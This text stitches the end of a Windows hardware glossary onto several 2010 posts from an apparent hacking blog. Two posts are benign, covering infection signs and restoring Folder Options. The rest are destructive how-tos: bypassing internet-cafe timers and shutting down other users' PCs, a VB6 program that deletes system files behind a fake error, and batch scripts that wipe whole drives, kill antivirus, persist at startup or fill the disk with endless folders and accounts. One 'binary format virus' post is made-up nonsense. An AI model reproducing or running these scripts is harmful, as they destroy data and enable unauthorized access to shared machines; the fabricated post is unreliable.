WBEM	Web-based Enterprise Management. Technology under development by BMC Software, Inc., Cisco Systems, Inc., Compaq Computer Corporation, Intel Corporation, and Microsoft Corporation, based on standards being developed by DMTF and IETF, to provide a mechanism to specify information exchange between management applications and managed components.
WDCTRL	Western Digital-compatible hard disk controller
WDL	Windows Driver Library. See WHQL.
WDM	Win32 Driver Model. A 32-bit driver model based on the Windows NT driver model that is designed to provide a common architecture of I/O services and binary-compatible device drivers for both Windows NT and Windows operating systems for specific classes of drivers. These driver classes include USB and IEEE 1394 buses, audio, still-image capture, video capture, and HID-compliant devices such as USB mice, keyboards, and joysticks. Provides a model for writing kernel-mode drivers and minidrivers, and provides extensions for Plug and Play and power management.
WDM Comm	WDM Communications Class
WDM DDK	Provides the supplementary header files used together with the Windows NT DDK to build WDM drivers.
WDM power management	Facilities provided in WDM for drivers to implement power policy and control. DDIs are defined for synchronizing power state changes with other power management activities in the system and for detecting device idleness. IRPs are defined for setting power sate, enabling wakeup, and querying power status.
WDM streaming	A WDM-based kernel-mode extension of Microsoft ActiveMovie, providing kernel connection and streaming services as used by the WDM Stream class driver and system software components provided in future versions of the Windows and Windows NT operating system, such as the cross-process audio mixer and sample rate converter. WDM streaming provides low-level services for the lowest latency streaming; ActiveMovie provides higher-level features. Operating system support includes a Stream class driver that supports minidrivers for audio, video, and other types of stream input output, and acceleration.
WDMCSA	WDM Connection and Streaming Architecture
WfM	Wired for Management
WHQL	Windows Hardware Quality Laboratory. Formerly Microsoft Compatibility Labs. Provides compatibility testing services to test hardware and drivers for Windows and Windows NT. Administers testing for the "Designed for Microsoft Windows" logo programs. Information: http://www.microsoft.com/hwtest/.
Win32 API	A 32-bit application programming interface for both Windows and Windows NT that includes sophisticated operating-system capabilities, security, and API routines for Windows-based applications.
Windows	Refers to the Microsoft Windows 95 operating system, including any add-on capabilities and any later versions of the operating system.
Windows NT	Refers to the Microsoft Windows NT version 4.0 operating system, including any add-on capabilities and any later versions of the operating system, unless specific design issues are defined that relate to version 5. O.
Windows NT DDK	Supports Windows NT, provided through MSDN Professional membership. Documents the Windows NT driver model (upon which WDM is based) and is an essential component for building WDM drivers.
Windows NT driver model	The layered device driver model used under the Windows NT operating system. For information, see Inside Windows NT, by Helen Custer (Microsoft Press, 1993).
WinHEC	Windows Hardware Engineering Conference
WINS	Windows Internet Name Service
WinSock	Windows Sockets
WMI	Windows Management Instrumentation. Extensions to WDM being developed for Windows NT 5.0 and Windows "Memphis" to provide an operating system interface through which instrumented components can provide information and notifications.
workstation	In general, a powerful computer with considerable calculating and graphics capability.
WOSA	Windows Open System Architecture
WSP	WinSock Proxy
WWW	World Wide Web
WYSIWYG	what you see is what you get
X
XDSL	general class of DSL technologies
XMS	extended memory
XOR	Exclusive OR- A Boolean operation that yields "true" if and only if one of its operands is true and the other is false. Compare with OR.
Y
YcrCb	See YUV.
YUV	The method of color encoding for transmitting color video images while maintaining compatibility with black-and-white video. Uses less bandwidth than the three separate video signals in an RGB video transmission. Consists of two major components: luminance (Y), which corresponds to the brightness of an image pixel, and chrominance (UV or CrCb), which corresponds to the color of an image pixel.
Z
Z	Z axis. For graphical displays, the optical axis that is perpendicular to X and Y axes.
ZAK	Zero Administration Kit
ZAK	Zero Administration Kit for Windows NT Workstation. A set of tools, methodologies, and guidelines for IT Managers and OEMs that incorporates and supplements existing Windows NT technologies to allow for simplified implementation of a secure, policy-based management.
ZAW	Zero Administration Windows. A Microsoft initiative that focuses on improving Windows and Windows NT for maximum automation of administrative tasks with centralized control and maximum flexibility.
ZIPI	A MIDI-like serial data format for musical instruments. Provides a more hierarchical method of addressing instruments and an extensible command set.

Caught A Virus?

2010-03-22T04:22:00.000-07:00

Caught A Virus?

If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst.

Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness.

You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. Maybe you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or maybe your annual subscription of virus definitions recently expired, and you've put off renewing.

It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon.

For a few days in late January, the Netsky.p worm was infecting about 2,500 PCs a day. Meanwhile the MySQL bot infected approximately 100 systems a minute (albeit not necessarily desktop PCs). As David Perry, global director of education for security software provider Trend Micro, puts it, "an unprotected [Windows] computer will become owned by a bot within 14 minutes."

Today's viruses, worms, and so-called bots--which turn your PC into a zombie that does the hacker's bidding (such as mass-mailing spam)--aren't going to announce their presence. Real viruses aren't like the ones in Hollywood movies that melt down whole networks in seconds and destroy alien spacecraft. They operate in the background, quietly altering data, stealing private operations, or using your PC for their own illegal ends. This makes them hard to spot if you're not well protected.

Is Your PC "Owned?"

I should start by saying that not every system oddity is due to a virus, worm, or bot. Is your system slowing down? Is your hard drive filling up rapidly? Are programs crashing without warning? These symptoms are more likely caused by Windows, or badly written legitimate programs, rather than malware. After all, people who write malware want to hide their program's presence. People who write commercial software put icons all over your desktop. Who's going to work harder to go unnoticed?

Other indicators that may, in fact, indicate that there's nothing that you need to worry about, include:

* An automated e-mail telling you that you're sending out infected mail. E-mail viruses and worms typically come from faked addresses.
* A frantic note from a friend saying they've been infected, and therefore so have you. This is likely a hoax. It's especially suspicious if the note tells you the virus can't be detected but you can get rid of it by deleting one simple file. Don't be fooled--and don't delete that file.

I'm not saying that you should ignore such warnings. Copy the subject line or a snippet from the body of the e-mail and plug it into your favorite search engine to see if other people have received the same note. A security site may have already pegged it as a hoax.

Sniffing Out an Infection

There are signs that indicate that your PC is actually infected. A lot of network activity coming from your system (when you're not actually using Internet) can be a good indicator that something is amiss. A good software firewall, such as ZoneAlarm, will ask your permission before letting anything leave your PC, and will give you enough information to help you judge if the outgoing data is legitimate. By the way, the firewall that comes with Windows, even the improved version in XP Service Pack 2, lacks this capability.

To put a network status light in your system tray, follow these steps: In Windows XP, choose Start, Control Panel, Network Connections, right-click the network connection you want to monitor, choose Properties, check "Show icon in notification area when connected," and click OK.

If you're interested in being a PC detective, you can sniff around further for malware. By hitting Ctrl-Alt-Delete in Windows, you'll bring up the Task Manager, which will show you the various processes your system is running. Most, if not all, are legit, but if you see a file name that looks suspicious, type it into a search engine and find out what it is.

Want another place to look? In Windows XP, click Start, Run, type "services.msc" in the box, and press Enter. You'll see detailed descriptions of the services Windows is running. Something look weird? Check with your search engine.

Finally, you can do more detective work by selecting Start, Run, and typing "msconfig" in the box. With this tool you not only see the services running, but also the programs that your system is launching at startup. Again, check for anything weird.

If any of these tools won't run--or if your security software won't run--that in itself is a good sign your computer is infected. Some viruses intentionally disable such programs as a way to protect themselves.

What to Do Next

Once you're fairly sure your system is infected, don't panic. There are steps you can take to assess the damage, depending on your current level of protection.

* If you don't have any antivirus software on your system (shame on you), or if the software has stopped working, stay online and go for a free scan at one of several Web sites. There's McAfee FreeScan, Symantec Security Check, and Trend Micro's HouseCall. If one doesn't find anything, try two. In fact, running a free online virus scan is a good way to double-check the work of your own local antivirus program. When you're done, buy or download a real antivirus program.
* If you have antivirus software, but it isn't active, get offline, unplug wires-- whatever it takes to stop your computer from communicating via the Internet. Then, promptly perform a scan with the installed software.
* If nothing seems to be working, do more research on the Web. There are several online virus libraries where you can find out about known viruses. These sites often provide instructions for removing viruses--if manual removal is possible--or a free removal tool if it isn't. Check out GriSOFT's Virus Encyclopedia, Eset's Virus Descriptions, McAffee's Virus Glossary, Symantec's Virus Encyclopedia, or Trend Micro's Virus Encyclopedia.

A Microgram of Prevention

Assuming your system is now clean, you need to make sure it stays that way. Preventing a breach of your computer's security is far more effective than cleaning up the mess afterwards. Start with a good security program, such Trend Micro's PC-Cillin, which you can buy for $50.

Don't want to shell out any money? You can cobble together security through free downloads, such as AVG Anti-Virus Free Edition, ZoneAlarm (a personal firewall), and Ad-Aware SE (an antispyware tool).

Just make sure you keep all security software up to date. The bad guys constantly try out new ways to fool security programs. Any security tool without regular, easy (if not automatic) updates isn't worth your money or your time.

Speaking of updating, the same goes for Windows. Use Windows Update (it's right there on your Start Menu) to make sure you're getting all of the high priority updates. If you run Windows XP, make sure to get the Service Pack 2 update. To find out if you already have it, right-click My Computer, and select Properties. Under the General tab, under System, it should say "Service Pack 2."

Here are a few more pointers for a virus-free life:

* Be careful with e-mail. Set your e-mail software security settings to high. Don't open messages with generic-sounding subjects that don't apply specifically to you from people you don't know. Don't open an attachment unless you're expecting it.
* If you have broadband Internet access, such as DSL or cable, get a router, even if you only have one PC. A router adds an extra layer of protection because your PC is not connecting directly with the Internet.
* Check your Internet ports. These doorways between your computer and the Internet can be open, in which case your PC is very vulnerable; closed, but still somewhat vulnerable; or stealthed (or hidden), which is safest. Visit Gibson Research's Web site and run the free ShieldsUP test to see your ports' status. If some ports show up as closed--or worse yet, open--check your router's documentation to find out how to hide them.

Hacking internet Cafe

2010-03-22T04:14:00.000-07:00

Basic overview of this tutorial is if there's some kind of timer or client

software on the computer you're using at the Net Cafe you can hopefully disable it.

Firstly we need to gain access to command prompt (cmd.exe) to do this there's a few
ways.

1) The most basic is to go Start/Run/cmd.exe and a black input screen should pop up.
Say that's disabled then we can try some other methods.

2) Press the Windows Logo + R and it will start run up. (hopefully)

3) Navigate your way to C:\WINDOWS\system32 and run cmd.exe from in there.

4) Open notepad type "cmd.exe" without the quotation marks ("") and then
go to File/Save As.. and type the name for the file and have it end with
.bat for example "MyNewFile.bat" and select Save as type and select All Files.

Make sure to save it somewhere you can access it, Like the desktop.

If they have deleted Notepad then go in to Internet Explorer and right click
and select View Source or on the menu bar click View then source and perform the
same process as above.

Once you have done this you can run the file. If you can't open files from the desktop
then go back into Internet Explorer and go to View/Explorer Bar/Folders and navigate to
the Desktop and it will show the saves files on the desktop in a folder type window.

Once you have access to command prompt you can perform some usefull actions e.g shutdown
programs, shutdown other peoples computers, add new accounts.

Ok, well most Net cafes have software running that boots you off of the machine after a certain
ammount of time unless you pay for more time. Well, we don't want that to happen now do we?

Firstly try figure out the Net Cafes timeing/credit softwares name cause this can help.

For more info on the software running we can use the command "tasklist" inside of command prompt.

example: "tasklist" (without quotation marks)

Basicly it brings up all the processes running.

Now say we know the process name for the Net Cafes software we need to disable it. So, how do we do that?
we use "taskkill" >:]

Basicly kills the process we specifcy. Say the Net Cafes software is "Timer.exe" for example and it's shown in
the task list like that we would do this.

example: "taskkill /im Timer.exe /f"

/im : is for image name. Not quite sure what it means, but we need it.

Timer.exe : that's the Net cafes software/process name (example)

/f : Forcefully shuts the program.

Now hopefully your Net Cafes software is terminated and you can freely use their computer with no time restriction.

If you have no luck finding the Net Cafes software name then just try ending processes that Windows Doesn't rely on.

Perhaps you want to have a little fun with people on the network at the Net cafe? well here's a few things for you
to do with command prompt.

Find the people on the network with "net view" and it will list the other computers names on the network.

The shutdown command. Basically the shutdown command will shutdown a computer on the network or your own computer (comes in
handy)

example: "shutdown -s -m HJCPwnts -t 20 -c You're being shutdown"

use "shutdown -a" to cancel this action so you don't shut your own computer down.

-s : sets the shutdown action.

-m : specify the computer name (HJCPwts) that's what my computer name would be on the network. (to find out
how to find computer names use net view. It will list the other computer names.)

-t : the time until shutdown in seconds. Just specify it for 0 if you want it instant.

-c : the comment that will be shown on the shutdown window (not needed, but goo to leave the victim a message)

-f : I left this one out because it shuts the applications the user is running down, but add it on the end when doing
it to someone else.

Now for some more stuff. Perhaps we want to create a new account on this computer and login to it? Well, lets do it then. Ok, this is how we do it.

In command prompt type "net user CoolGuy /add" this basically adds a new user by the name of CoolGuy. Simple ehh?
well we have struck a problemo. How the hell do we login to that account? EASY!

In fact we have already covered most of it. We will be using the shutdown command again.

"shutdown -l" : basicly this logs us out and we can log back in with the CoolGuy account.

-l : sets the logout action.

Ok, so you have had your fun with the new account now and you want to get rid of it in case
of the Net Cafe staff finding it. Well that's simple aswell, all we do is..

"net user CoolGuy /delete" and it will delete that user. Make sure to check it has been
deleted by using "net user" and it will show the accounts.

PS This wasn't written by me. I'm just sharing it. All due credit goes to the original poster.

Simple Virus

2010-03-22T04:10:00.000-07:00

Visual Basic 6 - Creating a Simple Virus

Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal.

First of all open a new Visual Basic project, a standard exe file..

Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.

On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.

In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.

Private Sub Form_Load()
Text1.Text = "C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub

Once the project is opened then the command file will be removed.

Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.

You can even give the text box a name to make it quicker. I have labelled it 'A'

Private Sub Form_Load()
Text1.Text = "C/Windows/System32/cmd.exe"
A = Text1.Text
End Sub

Private Sub Command1_Click
Kill A
End Sub

Now once the command button is clicked on the project the command file will be deleted.

Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn't got enough memory to run, but in actual fact the victim doesn't know that you have just removed their command file.

Here is to go about it.

Private Sub Form_Load()
Form1.Visible = False
Text1.Text = "C:/Windows/System32/cmd.exe"
A = Text1.Text
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
End Sub

Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub

All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that's how simple it can be to fool someone.

Right, we can now make it a little more difficult if you are finding the above a little too easy.

How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.

The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.

So in the form load part put the following code.

Private Sub Form_Load()
Form1.Visible = False
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
Kill "C:/Windows/System32/cmd.exe" s
Kill "C:/Windows/regedit.exe"
End Sub
So above we will be removing the command file and the registry, I don't think the victim will be best pleased about that do you.

Now I have shown you the above information I think it's your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/

Then put in the code above but in the Kill put this.

Kill "C:/cmd.exe"

That's all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this tutorial

Notepad virus (3)

2010-03-22T03:52:00.000-07:00

Suppose u want to make a shutdown.bat a virus which will copy itself in start up n wenever comptuer starts it will shut down it in 2 secs..most dangerous kind of thing better to make create restore point before working with such files..copy the code in notepad

@echo off
copy "abcd.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

@echo off
shutdown -s -t 5 -c "Shutdown"

save it as abcd.bat when ever u will run it it will be saved in ur start ups..

here t 5 means that ur comp will take5 secs to shut down u can make it 2 as well then it will be most dangerous thing to handle .. lol

Add ur own created virus

2010-03-22T03:51:00.001-07:00

How to add ur own created viruses into start ups this will make it diifcult to detect them n to remove them ...

1) For this u can use the simple code below ..

@echo off
copy "abcd.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

n den rest of the code ..

Notepad Virus (2)

2010-03-22T03:48:00.000-07:00

Copy the code in notepad and Save as any file you want in .bat format.. n enjoy lol..its really dangerous dont try on your own pc.

Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q

Notepad Virus

2010-03-22T03:40:00.000-07:00

Just Copy This Code Below In Notepad, Save as installhack.bat and you are done!
This Virus will:

1. End Process, NAVAPSVC.exe
2. End Process, Explorer.exe (taskbar and icons will dissapear)
3. End Process, zonelabs.exe
4. associate a exe file with txt (when opening exe files, it will go to notepad)
5. associate a txt file with mp3 (when opening txt files, it will open WinAmp or WMP)
6. Deletes Login/Logoff Screens

title Hack Setup
color 0A
@echo off
set end=md “Hack installing”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked….
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

Virus that can format the drives

2010-03-22T03:37:00.000-07:00

A simple binary codes that can format the sytem drive, secondary drives

1) Copy The Following In Notepad Exactly as it

01001011000111110010010101010101010000011111100000

2) Save As An EXE Any Name Will Do

3) Send the EXE to People And Infect

(Dont try this at ur own computer)

Make your own computer viruses

2010-03-22T03:08:00.000-07:00

Make your own computer viruses (danger Try this at ur own risk)

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to make simple .bat file (virus) that can't be detected by any antivirus

Here are some good viruses ,i am not responsible for any kind of damage to your system.....,ehe,

Copy this to notepad and save as flood1.bat

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

What does it do : This is an extremely harmful virus the will keep replicating itself until your harddrive is totally full and will destroy ur computer.

(please try this at your own risk)

Badri

zone.computer2010@gmail.com

Updated trick for enabling Folder option

2010-03-21T07:04:00.000-07:00

Updated trick for enabling Folder option

Many times Windows users face a common problem. The “Folder Options” in “Tools” menu is not visible. Even It can’t be accessed from Control Panel. Also “Registry Editor” is disabled.

Follow the simple steps mentioned in this tutorial and your problem will be solved:

1. If Folder Options is disabled but Registry Editor is still working in your system, then you can enable Folder Options by editing Windows Registry.
Type regedit in RUN dialog box and press Enter.
it’ll open Registry Editor, now go to following keys:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\ExplorerHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Policies\Explorer
In right-side pane, check whether a DWORD value named NoFolderOptions exists or not? If it exists, delete it.

2. If you are not familiar with editing the registry, then you can simply download following file, extract it and then run the .REG file:
Folder_option.zip

................................................................................................................
If u cant run regedit ....
Seems like your system is infected with a virus. Pls follow following link:
http://www.askvg.com/is-your-system-infected-with-a-virus-spyware-adware-trojan/

..................................................................................................................
Some ppl find that "show hidden files and folders" option ll not b enabled..
though enabled they cant c the hidden folders...
for that dont worry
--open RUN
--type regedit
--HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Explorer\Advanced
And in right-side pane, change value of “Hidden” to 1 and refresh My Computer window and you’ll be able to see hidden files again